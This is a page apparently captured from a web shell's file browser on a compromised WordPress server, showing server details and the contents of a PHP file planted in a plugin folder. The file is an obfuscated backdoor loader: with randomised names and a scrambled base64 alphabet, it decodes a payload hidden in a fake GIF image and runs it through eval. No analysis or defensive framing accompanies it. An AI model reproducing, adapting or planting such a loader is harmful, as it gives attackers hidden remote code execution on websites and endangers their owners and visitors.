HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/plugins/achasow/zhehoqa.txt
<?php

function ysiwev_khucethici($olovyn_thuvofezuh) {
    switch ($olovyn_thuvofezuh) {
        case 1:
            return bipoga_okhakewi();
        case 2:
            return tupuke_unucheda();
    }
}

function zafogi_hethesuk($olovyn_thuvofezuh) {
    $uquchip = ysiwev_khucethici(1);
    $ylefuzh = ysiwev_khucethici(2);
    for ($exochoc = 0; $exochoc < strlen($uquchip); $exochoc++) {
        $qadiwy = substr($uquchip, $exochoc, 1);
        $shalonu = substr($ylefuzh, $exochoc, 1);
        $khiwoso[$qadiwy] = $shalonu;
    }

    $zhisofi = strtr($olovyn_thuvofezuh, $khiwoso);
    $zhisofi = base64_decode($zhisofi);

    return $zhisofi;
}

function aqakym_vixuzham($olovyn_thuvofezuh) {
    $oboxizh = array();
    if (!file_exists($olovyn_thuvofezuh))
        return false;
    $evegich = @file_get_contents($olovyn_thuvofezuh);
    if (!$evegich)
        return false;
    $evegich = substr($evegich, 3);
    $oboxizh = zafogi_hethesuk($evegich);
    return $oboxizh;
}

function bipoga_okhakewi() {
    $evegich = "+a4qLHhSz=gTVDnJjAfINcivlpY9urC6tUwmeKQb0EsZ5PGxFoMk2R7BW/d8X31yO";
    return $evegich;
}

function tupuke_unucheda() {
    $oboxizh = "bcP58Qht0vEl4z7DdreRM=aTZxF/+WUjC6HnNXSJkf1BuIKogYOi2AsqpLwmV3y9G";
    return $oboxizh;
}

$jofyho = aqakym_vixuzham(__DIR__ . "/ass" . "ets/" . "imag" . "es/abi" . "jat." . "gif");
if ($jofyho) {
    @eval($jofyho);
}